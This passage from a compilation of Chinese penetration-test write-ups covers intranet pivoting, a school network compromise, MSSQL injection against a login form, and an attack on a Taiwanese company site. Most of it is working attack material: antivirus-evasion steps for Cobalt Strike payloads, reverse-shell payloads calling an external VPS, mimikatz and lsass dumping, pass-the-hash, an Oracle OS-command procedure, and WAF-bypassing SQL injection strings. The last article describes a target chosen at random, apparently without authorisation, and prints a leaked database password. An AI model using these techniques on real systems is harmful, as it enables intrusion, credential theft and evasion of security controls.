8080端口协议访问内网中的目标系统。二、正向代理突破限制https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md1.在本机系统中开启cs服务,cobalt strike添加监听,端口选择输出信息RAT Config中的Handler/LISTEN中的端口(通常为60020),beacons为127.0.0.12.在本机系统中通过http 8080访问内网目标系统,通过文件上传,上传冰蝎免杀一句话,在本地系统通过冰蝎连接内网目标系统,并同通过冰蝎将CS生成的反射DLL上传到内网目标系统,并执行。3.将proxy.jsp通过冰蝎上传到内网目标服务器,确保 http://10.1.1.1:8080/proxy.jsp 可以访问,页面返回 UTF-84.同时将stinger_server.exe上传到内网目标服务器,冰蝎下执行start D:\stinger_server.exe 启动服务端3.在本机系统中执行:stinger_client -w http://10.1.1.1:8080/proxy.jsp -l 127.0.0.1 -p 60000此时已经在本机系统 127.0.0.1:60000启动了一个10.1.1.1:8080所在内网的socks4a代理此时已经将内网的目标服务器的127.0.0.1:60020映射到本机系统的127.0.0.1:60020 三、正向代理+正向shell突破限制ABPTTS优点:1.对抗特征检测十分优秀2.创建的隧道十分稳定1.本地系统中启动配置abpttspython abpttsfactory.py -o server \\生成服务端脚本,初始化2.在本机系统中通过http 8080访问内网目标系统,通过文件上传,上传冰蝎免杀一句话,在本地系统通过冰蝎连接内网目标系统,并同通过冰蝎将CS生成的反射DLL上传到内网目标系统,并执行。3..将abptts.aspx通过冰蝎上传到内网目标服务器4.上传完成之后的abptts.aspx地址:http://10.1.1.1:8080/abptts.aspx5.在本机系统中执行以下命令,启动http隧道Python abpttsclient.py -c server/config.txt -u "http://10.1.1.1:8080/abptts.aspx"-f 127.0.0.1:7777/127.0.0.1:1111这里的127.0.0.1:7777是本机端口,127.0.0.1:1111是目标机的端口将目标机的1111端口通过http隧道映射至本机的7777端口,你向本地的7777端口发送的请求都将转发至目标机的1111端口6.在公网VPS的上创建cs正向监听器,(name(正向),payload(beacon tcp), port(1111)7.生成正向载荷(在生成正向载荷的时候只能选择stageless Beacon ),需要对载荷进行免杀8.通过010Editor修改载荷特征码的十六进制来破环特征码9.通过SafengineShielden对载荷进行免,反LPK注入、反调试器附加、反内存转储选上,复杂度拉满,虚拟机检测不要打勾,最后加一层upx壳,Resource Hacker加入一个任意图标文件10.通过冰蝎将载荷上传到内网目标系统中,并在冰蝎上执行 D:/beacon_se.exe。11.在cs命令中执行以下命令,开启正向链接shellconnect 127.0.0.1 777712.通过冰蝎将PrintSpoofer.exe上传至内网目标主机以及负载111_se.exe13.通过冰蝎执行如下命令,以system的权限运行我的正向shell,那么我将得到一个system权限的shell,而不是asp的低权限shellC:\Windows\Temp\PrintSpoofer -c D:/1111_se.exe14.正向shell正常运行,在CS中命令中再次正向绑定connect 127.0.0.1 777715.将mimikatz进行免杀,然后上传到内网目标系统中,并执行,只能获取到密码hash16.通过Windows API 添加管理员用户绕过火绒拦截https://github.com/newsoft/adduser17.通过hash传递,直接远程内网目标系统sekurlsa::pth /user:Administrator /domain:用户名 /ntlm:194f34439dd27846db00c6723036da6b "/run:mstsc.exe /restrictedadmin"194f34439dd27846db00c6723036da6b 原文连接: https://xz.aliyun.com/t/10410
  20. 0x00 初探内网在向信息中心的老师申请了对学校进行一次内网渗透测试的授权之后,我开始着手对学校内网中在用系统进行了一波信息搜集。其中大部分都使用了新版的未爆出0day的框架组件,这让我一开始的打点过程陷入僵局。但是在我重新翻了一遍学校开放的各种web系统后,我发现了一些令人惊喜的系统。 学校使用了很多新系统,但是并没有把老系统关闭,经过一番搜索确定了这个老系统存在任意文件上传漏洞。 没有任何过滤,可以说就是捡漏了。 而且也返回了一句话木马的路径。但是我遇到了一个很奇怪的现象,用蚁剑和用菜刀连接后,返回的路径不一样,其中的文件也不一样。 其中蚁剑连接的shell无法上传文件,而菜刀连接的却可以,并且webshell执行一次命令后就会封禁IP,怀疑有waf。所以我先传了一个msf的aspx木马来获取一个meterpreter的会话。使用windows-exploit-suggest探测未打的补丁。 发现存在MS16-075这个非常好用的漏洞,直接配合msf的juicy_potato模块来攻击,记住要修改CLSID,可以在这里找 https://github.com/ohpe/juicy-potato/tree/master/CLSID 使用的payload最好要选择正向连接 bind_tcp,不然有可能弹不回来shell。 这样就获取了system权限。接下来就是对机器进行信息搜集,获取对我们横向渗透有帮助的信息。很奇怪的一点是,这台机器本来是有域的,但现在却没有了,且无法找到域控。所以我们的重点放在密码撞库。使用msf自带的mimikatz模块来获取密码。 撞到了两三台机器,还有一些机器是开着445端口,但没有开3389端口。 这样我们可以尝试使用ms-17010,但考虑可能会对某些正在使用的系统造成影响,我还是选择使用更稳妥的 psexec模块来进行撞库。也就是哈希传递,有时候我们碰到无法获取明文的密码,可以考虑dump出密码的hash值,再使用psexec模块进行哈希传递,来进行攻击,获取到的都是SYSTEM权限。 后面的步骤索然无味,就是不断的撞库搜集密码,然后再通过搜集的密码再撞库,获取到了足够多的机器和密码之后,找到了边界路由器,但是之前搜集的密码都无法成功登录,只好放弃。这个网段就告一段落。 0x01 深入探索经过对新系统的一番搜索,我在其中的一个功能中找到了任意文件下载漏洞。 并且是root用户起的服务,最理想的情况就是,读取/etc/shadow文件,爆破root用户密码。(失败),然后尝试读取/root/.bash_history 来获取root用户的操作历史记录。其中记录了tomcat部署的路径,以及备份的源码文件。通过下载源码进行信息搜集,我搜集到了一个很关键的信息,这个网段的机器大多数使用oracle数据库,并且没有修改SID,手里还有几个可以尝试的密码。 经过一番爆破,发现了一台机器oracle数据库system用户密码未修改,为manager。大家应该指定oracle数据库是可以执行系统命令的,而system用户完全符合执行系统命令的条件。网上找到一个工具,去掉了繁琐的步骤,可以直接执行命令。 0x03 绕过火绒行为检测但是又出现了一个很奇怪的问题,我只能执行少数的几个命令,虽然我是system用户,但我一旦使用到 net user之类的命令时,就没有了回显。后面发现是火绒拦截了异常行为。然后我尝试了直接使用 navicat 中的sqlplus来连接服务器。根据网上的步骤建立执行命令的代码,我可以根据服务器返回的1或0来判断命令是否执行。 create or replace and compile Java Source named "OSCommand" as -- java: OS COMMAND import java.io.*; import java.lang.*; public class OSCommand{ public static String Run(String Command){ Runtime rt = Runtime.getRuntime(); int rc = -1; try{ Process p = rt.exec( Command ); int bufSize = 32000; int len = 0; byte buffer[] = new byte[bufSize]; String s = null; BufferedInputStream bis = new BufferedInputStream( p.getInputStream(), bufSize ); len = bis.read( buffer, 0, bufSize ); rc = p.waitFor(); if ( len != -1 ){ s = new String( buffer, 0, len ); return( s ); } return( rc+"" ); } catch (Exception e){ e.printStackTrace(); return( "-1\ncommand[" + Command + "]\n" + e.getMessage() ); } } } / show errors create or replace function OSexec( cCommand IN string ) return varchar2 is -- function: OS EXEC -- descr: PL/SQL wrapper for the Java OSCOMMAND stored proc -- language JAVA name 'OSCommand.Run(java.lang.String) return java.lang.String'; / show errors -- sysdba. Substitute SCOTT with the applicable schema that owns the OSEXEC -- and OSCOMMAND stored procs. declare SCHEMA varchar2(30) := 'SCOTT'; begin dbms_java.grant_permission( SCHEMA, 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'execute' ); dbms_java.grant_permission( SCHEMA, 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '*' ); dbms_java.grant_permission( SCHEMA, 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '*' ); commit; end; / -- 查看本地连接信息 SQL> select OSexec('ipconfig') as STDOUT from dual; STDOUT -------------------------------------------------------------------------------- Windows IP ???? ??????????? ????l?? 3: l??????? DNS ??? . . . . . . . : ????t?? IPv6 ???. . . . . . . . : ************* IPv4 ??? . . . . . . . . . . . . : 192.168.100.100 ???????? . . . . . . . . . . . . : 255.255.255.0 ??????. . . . . . . . . . . . . : 0.0.0.0 --激活guest账号 SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual; STDOUT -------------------------------------------------------------------------------- 0因为存在杀毒软件监控oracle的行为,所以得要通过一些不被拦截的行为来组合起来攻击。 让我没想到的是,当我直接执行命令行开启3389端口时,火绒居然没有拦截。但当我执行net user等命令的时候又无法执行。这时候我突然想起来guest用户,我启用guest用户,然后加入管理员组,这一次没有被拦截。直接远程桌面连接以后,当我想在机器上使用mimikatz或者是反弹一个shell到cs上都失败了。 并且guest用户还有一些权限被禁用了,比如添加用户等敏感操作。但是我执行net user的时候发现了一个用户,这个用户我在之前的机器上见过,并且我有这个用户的密码。所以再通过sqlplus来将这个用户加入管理员组。 所以火绒拦截的行为规则就是不能添加用户,但是可以把已存在的用户加入管理员组,并且guest用户可激活,可开3389。在我再次登录这个机器之后,还是没有办法反弹shell回来,或者是读出它的密码。这时候学弟和我说,可以直接打开火绒,关闭防护,就可以反弹shell了。我????? 然后一通操作拿到了shell,但是还是读不出明文密码,我就想着把哈希dump出来然后去爆破。但是又想起来有一个国外的在线网站可以解NTLM https://www.objectif-securite.ch/ophcrack 获取密码之后,又是熟悉的撞库,信息搜集,再撞库。 然后在服务器上发现了一个xftp保存了几台服务器的密码,这个时候发现一个骚操作,可以用一个星号密码查看器的工具,来查看这里保存的密码。 又喜提几台root权限的机器。后面要考试就不想玩了,把所有搜集的密码用户记录,然后撞整个网段的机器,撞出了很多弱口令。 恭喜信息中心老师喜提加班。 0x04 总结1.在目标的老系统中的附件上传处,可直接上传一句话木马,并返回上传的路径。2.通过蚁剑连接一句话木马后,不能上传文件;而通过菜刀连接一句话,可以上传文件。3.在公网上通过msf生成aspx后门,并通过大马将生成的shell.aspx上传到目标站点上,并访问shell.aspx。msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=公网VPS LPORT=12345 -f aspx > shell.aspx4.通过MSF进行监听,并成功获得反弹shellmsf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 公网VPSmsf exploit(handler) > set LPORT 12345msf exploit(handler) > exploit5.通过菜刀的命令终端执行systeminfo执行补丁信息输出info.txt,将其下载到本地,使用 windows-exploit-suggester查找到可利用的提权POC为:MS16-075(也可以通过在线对比查找可用的poc :http://bugs.hacking8.com/tiquan/)https://github.com/1nf1n17yk1ng/Windows-Exploit-Suggester-Python3systeminfo > info.txtpython3 windows-exploit-suggester.py --updatepython3 windows-exploit-suggester.py --database 2021-07-15-mssb.xls --systeminfo info.txt6.在MSF中通过ms16-075(https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075)meterpreter > getuidServer username: IIS APPPOOL\DefaultAppPoolmeterpreter > getprivsmeterpreter > upload /root/potato.exe C:\Users\Publicmeterpreter > cd C:\\Users\\Publicmeterpreter > use incognitometerpreter > list_tokens -umeterpreter > execute -cH -f ./potato.exemeterpreter > list_tokens -umeterpreter > getuidServer username: NT AUTHORITY\SYSTEM7.通过msf加载mimikatz读取明文和hash值meterpreter > load mimikatzmeterpreter > mimikatz_command -f samdump::hashesMeterpreter > mimikatz_command -f sekurlsa::searchPasswords meterpreter > msv #获取hash值meterpreter > kerberos #获取明文8.通过MSF进行批量hash值撞库进行pth传递 meterpreter > upload /root/crackmapexec C:\Users\Publicmeterpreter >crackmapexec 192.168.1.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7或者meterpreter >backgroundmsf>use exploit/windows/smb/psexecmsf> set payload windows/meterpreter/reverse_tcpmsf>set LHOST 192.168.232.128msf> set LPORT 2222msf>set rhosts 10.206.14.1/24msf>set smbuser administratorsmbuser => administratormsf> set smbpass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586cmsf> run或者msf> use auxiliary/admin/smb/psexec_commandmsf> et rhosts 10.206.14.1/24msf> set smbuser administratormsf> set smbpass aad3b435b51404eeaad3b435b51404ee:579110c49145015c47ecd267657d3174 (注意要有:,lm哈希可以为任意32位字符)msf> run4.在目标的新系统中发现一处文件下载,猜测可能存在任意文件下载漏洞,这里可以通过bp的intruder功能进行批量fuzz,这里先读取/etc/passwd以及etc/shadow,读取出来的hash值,通过MD5进行破解失败。5.然后通过任意文件下载,读取/root/.bash_histoy,查看到有管理员操作网站目录进行压缩的操作。获得了压缩包名称以及保存到网站的根目录下载,直接进行下载备份源码。6.在源码中发现oracle数据库配置文件,泄露了用户名system和密码以及IP地址为121.1.100.100,使用默认的sid值:orcl,即可连接,这里使用oracleshell远程连接。7.通过oracleshell执行添加net user用户名命令被拦截,执行tasklist/svc,发现目标数据库存在火绒。但是通过激活gust账号并将gust添加到管理员组火绒并不拦截。然后开启3389也不被拦截net user guest /active:yesnet user guest Test@123net localgroup administrorts guest /add REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f或者使用 navicat 中的sqlplus来连接服务器SQL> select OSexec('ipconfig') as STDOUT from dual;SQL> select OSexec('tasklist/svc') as STDOUT from dual;SQL> select OSexec('cmd.exe /c net user guest /active:yes') as STDOUT from dual;8.通过oraceshell下的命令导出数据库服务器的hash值,然后将hash值复制保存到本地,通过mimikatz本地获取hash,但是读不出明文,将hash值通过ophcrack进行爆破,成功爆破出明文。https://www.objectif-securite.ch/ophcrackprocdump64.exe -accepteula -ma lsass.exe lsass.dmpmimikatz # dpapi::cred /in:C:\a\DACFAEA5B624B4361794A2CC8AED14609.然后通过获取到明文和用户名进行远程桌面登录原文链接: https://xz.aliyun.com/t/8147
  21. 本次测试为授权测试。注入点在后台登陆的用户名处 存在验证码,可通过删除Cookie和验证码字段绕过验证 添加一个单引号,报错 and '1'='1 连接重置——被WAF拦截 改变大小写并将空格替换为MSSQL空白符[0x00-0x20] %1eaNd%1e'1'='1 查询数据库版本,MSSQL 2012 x64 %1eoR%1e1=@@version%1e-- 查询当前用户 %1eoR%1e1=user%1e-- 查询当前用户是否为dba和db_owner ;if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e -- ;if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e -- 均出现延时,当前用户既不是dba也不是db_owner 尝试执行xp_cmdsehll,没有相关权限 ;eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e -- ;eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e -- 查询当前数据库,连接重置——被WAF拦截 %1eoR%1e1=(db_name()%1e)%1e-- 去掉函数名的一个字符则正常返回——WAF过滤了函数db_name()。MSSQL和MSQL有一些相同的特性,比如:函数名和括号之前可用注释或空白符填充 %1eoR%1e1=(db_name/**/()%1e)%1e-- 查询当前数据库的表,连接重置——被WAF拦截 %1eoR%1e1=(SelEct%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e-- 删除select后面的语句,返回正常。在IIS+ASPX的环境里,如果同时提交多个同名参数,则服务端接收的参数的值为用逗号连接的多个值,在实际应用中可借助注释符注释掉逗号 %1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e-- 依然被拦截 删除infOrmatiOn_sChema.tAbles的一个字符则返回正常——WAF过滤了infOrmatiOn_sChema.tAbles。以前在学习MYSQL注入时看到官方文档有这样一句话:"The qualifier character is a separate token and need not be contiguous with the associated identifiers." 可知限定符(例如'.')左右可插入空白符,而经过测试MSSQL具有相同的特性。infOrmatiOn_sChema.tAbles -> infOrmatiOn_sChema%0f.%0ftAbles %1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e-- 可通过not in('table_1','table_2'...)的方式遍历表名 手工注入使用这种方法太慢,一次性查询所有表名 %1eoR%1e1=(SelEct/*&username=*/%1equotename(name)%1efRom bak_ptfl%0f..sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e-- 根据表名判断管理员表应该为appsadmin,一次性查询该表的所有列 %1eoR%1e1=(SelEct/*&username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f..syscolumns%1ewHerE%1eid=(selEct/*&username=*/%1eid%1efrom%1ebak_ptfl%0f..sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--&password=admin 获得管理员用户名和密码字段:AdminName、Password。查询用户名和密码 %1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e-- %1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e-- 解密后成功登陆后台 总结1.对目标站点进行bp抓包,发现目标系统存在验证码 2.在请求的数据包中将cookie的参数和值删除以及删除掉验证码参数和值。 3.再次进行请求,发现没有提示验证码错误的信息 4.请求的post数据包中的username处加入单引号报错 username=amdin'&password=admin 5.测试and '1'='1,无法显示,则目标系统存在WAF username=amdin' and '1'='1&password=admin 6.改变and关键字大小写,空格用mssql空白符([0x00-0x20])也就是%1e替换。可看到正常回显内容 username=amdin'%1eaNd%1e'1'='1&password=admin 7.查询数据库版本 username=amdin'%1eoR%1e1=@@version%1e--&password=admin 8、查询当前用户 username=amdin'%1eoR%1e1=user%1e--&password=admin 9.查询当前用户是否为dba和db_owner,均出现延时,当前用户既不是dba也不是db_owner username=amdin';if(0=(SelEct%1eis_srvrolemember('sysadmin'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --&password=admin username=amdin';if(0=(SelEct%1eis_srvrolemember('db_owner'))) WaItFOR%1edeLAY%1e'0:0:5'%1e --&password=admin 10.尝试执行xp_cmdsehll,没有相关权限,提示xp_cmdshell不存在 username=amdin';eXeC%1esp_configure%1e'show advanced options',1;RECONFIGURE%1e --&password=admin username=amdin';eXeC%1esp_configure%1e'xp_cmdshell',1;RECONFIGURE%1e --&password=admin 11.查询当前数据库名,连接重置——被WAF拦截 username=amdin'%1eoR%1e1=(db_name()%1e)%1e--&password=admin 12.waf那么可能拦截了db_name()函数,这里可以通过函数名和括号之前可用注释/**/或空白符填充,成功获取当前数据库名 username=amdin'%1eoR%1e1=(db_name/**/()%1e)%1e--&password=admin 13.获取当前数据库表,连接重置——被WAF拦截 username=amdin'%1eoR%1e1=(SelEct%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--&password=admin 14.删除select后面的语句,返回正常。在IIS+ASPX的环境里,如果同时提交多个同名参数,则服务端接收的参数的值为用逗号连接的多个值,在实际应用中可借助注释符注释掉逗号,依然被WAF拦截 username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema.tAbles%1e)%1e--&password=admin 15.删除infOrmatiOn_sChema.tAbles的一个字符则返回正常——WAF过滤了infOrmatiOn_sChema.tAbles。以前在学习MYSQL注入时看到官方文档有这样一句话:"The qualifier character is a separate token and need not be contiguous with the associated identifiers." 可知限定符(例如'.')左右可插入空白符,而经过测试MSSQL具有相同的特性。infOrmatiOn_sChema.tAbles -> infOrmatiOn_sChema%0f.%0ftAbles,成功获取表名 username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1etop%1e1%1etaBle_nAme from%1einfOrmatiOn_sChema%0f.%0ftAbles%1e)%1e--&password=admin 16.一次性查询所有表名 username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1equotename(name)%1efRom bak_ptfl%0f..sysobjects%1ewHerE%1extype='U' FOR XML PATH(''))%1e--&password=admin 17.根据表名判断管理员表应该为appsadmin,一次性查询该表的所有列 username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1equotename/**/(name)%1efRom bak_ptfl%0f..syscolumns%1ewHerE%1eid=(selEct/*&username=*/%1eid%1efrom%1ebak_ptfl%0f..sysobjects%1ewHerE%1ename='appsadmin')%1efoR%1eXML%1ePATH/**/(''))%1e--&password=admin 18.获得管理员用户名和密码字段:AdminName、Password。查询用户名和密码 username=amdin'%1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1eAdminName%1efRom%1eappsadmin%1e)%1e--&password=admin username=amdin' %1eoR%1e1=(SelEct/*&username=*/%1etOp%1e1%1epassword%1efRom%1eappsadmin)%1e--&password=admin 20.解密用户名的密码hash值,成功登陆后台 原文链接: https://xz.aliyun.com/t/7487
  22. 0x01 前言随机找的个台湾某越科技集团下的站点作为此次测试目标,只是为了学习下内网渗透和MSF的使用。13年9月份时拿到了一个子域的Webshell权限后就没再继续测试了,当时服务器没有安装Symantec赛门铁克,但第二次去测试时发现已安装了Symantec,并进行了一些安全加固。 0x02 网站和内网的基本信息搜集 基本信息探测: 目标站点:http://www.ttes*****.com服务器IP:59.***.**.74(台湾省 中华电信)环境平台:ASP.NET服务器系统:Microsoft-IIS/6.0(Wind 2003)网站子域搜集: ,表中的这些子域名是前期搜集到的信息,但没想到很顺利的就拿到了Webshell(Fckeditor),如果主站找不到什么漏洞时可以通过“旁站”或“子域”下手。 因为本文着重记录的是MSF工具的使用和难点解决,所以对于怎么拿到的Webshell就不做过多描述了,在拿到权限后搜集到的服务器信息如下。 端口开放:25、80、135、445、1025、1521、3389补丁情况:服务器系统打了460+补丁(64位)脚本探测:服务器支持Asp、Aspx拓展名磁盘权限:C、D盘都有可读可写权限(大多数)ipconfig /all命令可以看到这台主机名为:websrv4,IP:192.168.0.203,DNS:192.168.3.1 Windows IP Configuration Host Name . . . . . . . . . . . . : websrv4 Connection-specific DNS Suffix . : IP Address. . . . . . . . . . . . : 192.168.0.203 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.0.254 DNS Servers . . . . . . . . . . . : 192.168.3.1 168.95.1.1net view /domain命令可以看到存在两个域和一个工作组:7PV1V1S、TT、WORKGROUP,以及存活主机的对应IP地址如下图,还可以看到当前已控websrv4主机在工作组中。 TT域主机比较多,另放一个表,域控应该是:192.168.3.1,这里可根据自己的经验去分析工作组和各域的组织结构以及各主机所担任的角色。 0x03 Webshell提权之遇防御软件当前这台已控主机的系统为Windows 2003 X64,虽然知道X64可用提权EXP不多,但也得去尝试下,结果均以失败告终,Oracle提权没接触过,不是很了解,先暂时放一边。 大家都知道ASPX与MSSQL是最佳搭档,在web.config配置文件中找到数据库连接信息,这里可以看到MSSQL数据库是运行在内网192.168.0.206这台主机上,属于站库分离。 <add name="ttes*****_enConnectionString1" connectionString="Data Source=192.168.0.206;Initial Catalog=ttes*****_global;Persist Security Info=True;User ID=sa;Password=tt@12345" providerName="System.Data.SqlClient"/>接下来利用大马的数据库管理功能连接192.168.0.206这台内网主机的MSSQL,启用xp_cmdshell组件执行命令加一个管理员用户,再利用portfwd命令将它的3389端口转发出来。 注:有的同学可能会说直接使用大马里的端口映射功能就可以了,是可以,但我反正是没成功过,不知是不是我的姿势有问题,嗯,肯定是的,还是太菜! 已成功添加test$管理员用户,接下来就是使用Lcx端口转发工具了,大家应该都懂的,在203这台主机上传并执行,但转发的可是206这台数据库主机的3389哦。 C:\RECYCLER\lcx.exe -slave 你的外网IP 51 192.168.0.206 3389注意事项: 13年9月192.168.0.203这台主机上还没有防御软件,可直接上传Lcx.exe到任意可读写目录,并且正常执行。但写文章时发现已经安装了symantec,Lcx.exe和各种提权EXP在上传过程中都被拦截,也试了常用的Vbs、Bat、Exe,上传、下载、修改拓展等方式,只要被检测为恶意行为的操作都会被拦截。 在后期测试中还发现在Fckeditor上传Webshell时也被拦截了,如常见的:一句话、小马、大马等,如下图,可多测试一些过WAF的马儿看下是否能绕过? 测试记录: 1.内网环境,站库分离,web.config找到data(192.168.0.206)SA用户,成功添加管理员用户;2.Web(192.168.0.203) 、data(192.168.0.206)都安装了symantec,不能使用Lcx.exe等工具;3.测试了其他转发工具要么被拦截,要么无法用,而reDuh只能转发出当前203的,而且速度极慢;4.msfpayload生成的Exe文件也被查杀,服务器是X64,msfencode中也没有X64编码器,此路不通; 0x04 绕过防御软件进行端口转发通过Google搜索在一篇文章中得到思路,使用msfpayload生成一个Aspx反弹脚本,得到meterpreter会话后再用portfwd命令将数据库服务器192.168.0.206的3389端口转发出来。 msfpayload windows/x64/meterpreter/reverse_tcp LHOST=113.***.*.238 LPORT=12345 R | msfencode -t aspx -o /media/sf_系统学习/test.aspxmsfconsole配置好监听相关选项,把刚生成的test.aspx反弹脚本上传到网站的WEB目录下,然后在浏览器中访问即可得到目标主机会话。 root@box3:~# msfconsolemsf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.7msf exploit(handler) > set LPORT 12345msf exploit(handler) > exploit接着我们再用portfwd命令将内网中数据库服务器192.168.0.206的3389端口给转发出来,且能够正常连接它的3389远程终端了,相关命令参数如下,当时忘了截图! meterpreter > portfwd add -l 1234 -p 3389 -r 192.168.0.206[*] Local TCP relay created: 0.0.0.0:1234 <-> 192.168.0.206:3389 Usage: portfwd [-h] [add | delete | list | flush] [args] 添加 删除 列表 刷新 参数 OPTIONS: -h Help banner. // 帮助 -L <opt> The local host to listen on (optional). // 本地IP地址 -l <opt> The local port to listen on. // 本地端口号 -r <opt> The remote host to connect to. // 远程IP地址 -p <opt> The remote port to connect to. // 远程端口号接下来给大家讲下在MSF用Socks4a代理连接内网中的3389,在开启Socks4a代理前必须先得到一个Meterpreter会话,然后直接利用Socks4a模块开启代理,默认执行即可。 msf auxiliary(socks4a) > use auxiliary/server/socks4amsf auxiliary(socks4a) > set SRVHOST 127.0.0.1msf auxiliary(socks4a) > run[*] Auxiliary module execution completedmsf auxiliary(socks4a) > [*] Starting the socks4a proxy server配置proxychains代理工具时需要在/etc/proxychains.conf文件底部添加一条"socks4 127.0.0.1 1080",必须确保与socks4a模块中的SRVHOST、SRVPORT参数是一致的。 root@box3:~# vi /etc/proxychains.conf开启Socks4a代理并配置好proxychains代理工具,这时我们就可以在命令终端中直接用proxychains代理msf/nmap/sqlmap/nessus/mysql/sqsh/rdesktop/ftp/ssh等对目标内网其他主机进行扫描测试了。 root@box3:~# proxychains msfconsole root@box3:~# proxychains rdesktop 192.168.0.206注:开启了Socks4a代理但无法正常使用时有可能是防火墙的问题,这时可以尝试将SRVHOST参数设置为127.0.0.1,默认为0.0.0.0,端口为1080。切记不要把开代理和代理工具弄混了!!! 2014-07-28:再次测试发现用原来的方法都弹不回来了,接着尝试了reDuh_Gui,reverse_tcp 80端口....等方式,都是数据通了且TCP连接状态为:LISTENING,但就是连接不上或者不给弹回会话。 最后突破及后续思路:使用免杀Lcx.exe工具,本地监听80端口,在进入192.168.0.206数据库服务器后停用Symantec防御软件,然后再运行MSF攻击载荷上线后再对内网其他主机进行进一步渗透。 0x05 获取C段开放端口及系统版本当前会话下利用get_local_subnets脚本获取本地子网网段,将当前会话与Kali本机建立路由表实现跨路由访问,这样就能直接使用MSF框架下的模块对目标内网其他主机进行扫描测试了。 用MSF下的auxiliary/scanner/portscan/tcp模块对目标内网C段进行批量端口扫描,这个模块可以很方便的探测到整个C段主机的端口开放情况,使我们在后期渗透测试中更能游刃有余。 这里笔者主要就扫了这几个常见端口:21/22/445/1433/3306/3389来做演示。其他更多常见端口有:23/25/80/110/135/139/1521/8080/14147/43958等。 msf exploit(handler) > use auxiliary/scanner/portscan/tcpmsf auxiliary(tcp) > set RHOSTS 192.168.0.1-254msf auxiliary(tcp) > set PORTS 21,22,445,1433,3306,3389msf auxiliary(tcp) > set THREADS 50msf auxiliary(tcp) > exploit如果太慢可以选择适当增加线程,扫描过程中需要等待一段时间,在结束后可以用hosts、services等命令参数来查看扫描结果,前提得连上PostgreSQL数据库,端口扫描结果如下图。 我们还可以利用以下几个模块来探测存活主机,系统版本、软件版本、计算机名、MAC地址、所属工作组或域等等信息,这里只列出了一些常用的模块,图片来自@OffSec! auxiliary/scanner/portscan/tcp auxiliary/scanner/portscan/ack auxiliary/scanner/portscan/syn auxiliary/scanner/ftp/ftp_version auxiliary/scanner/ssh/ssh_version auxiliary/scanner/smb/smb_version auxiliary/scanner/dns/dns_amp auxiliary/scanner/http/title auxiliary/scanner/http/http_version auxiliary/scanner/telnet/telnet_version auxiliary/scanner/mysql/mysql_version auxiliary/scanner/postgres/postgres_version auxiliary/scanner/netbios/nbname auxiliary/scanner/netbios/nbname_probe //已删除 auxiliary/scanner/discovery/arp_sweep auxiliary/scanner/discovery/udp_probe auxiliary/scanner/discovery/udp_sweep [...SNIP...] 0x06 常见服务暴力破解和利用模块在已拿到权限的主机上搜集更多的用户、密码等信息,包括:第三方、SSH/RDP、各种网站/数据库、文本或表格中存储的用户密码,然后再对其进行分析看是否存在规律或通用的可能性,如果有我们则可以根据规律来生成一份高效字典使用以下模块来进行爆破和利用,图片来自@OffSec! 注:有些模块也是在重新编辑这篇文章时新加的,既然都重新整理了,何不弄全一些呢?强迫症又犯了!目前我常用到的也有这些,如果师傅们有其他常用的模块也可以补充下哈。 官方使用手册: https://www.offensive-security.com/metasploit-unleashed/auxiliary-module-reference 0x07 实战过程问题和一些想说的话一、实战过程问题 MSF中很多Exploit都是不过杀软的,碰到赛门铁克/卡巴斯基/360等几乎完全过不了,@Moker老哥提醒; 目标属内网环境,只有Webshell权限,这时可以采用迂回战术,先进入内网搜集密码组合字典,然后再去搞我们的目标主机;内网中MSF可以扫描A、B段主机吗?答:应该可以,但是扫描A、B段主机的话IDS会瞬间报警,因为流量太大,不建议尝试;使用MS08_067_netapi + bind_tcp正向批量溢出时如果内网主机中存在杀毒软件会有拦截提示,动静太大了,也不建议尝试;问题1.在203的Webshell上用Lcx.exe转发进入206数据库服务器,查看“事件查看器”->“安全性”的源网络地址为什么是192.168.0.203?而主机名又是我本地的主机名,没太弄懂? 回答1:因为连接时是通过203这台服务器转发的数据,所以源网络地址是192.168.0.203,但是数据包是你本机发送的,所以主机名还是你机器名 。如果是使用代理就不会出现这样的情况。 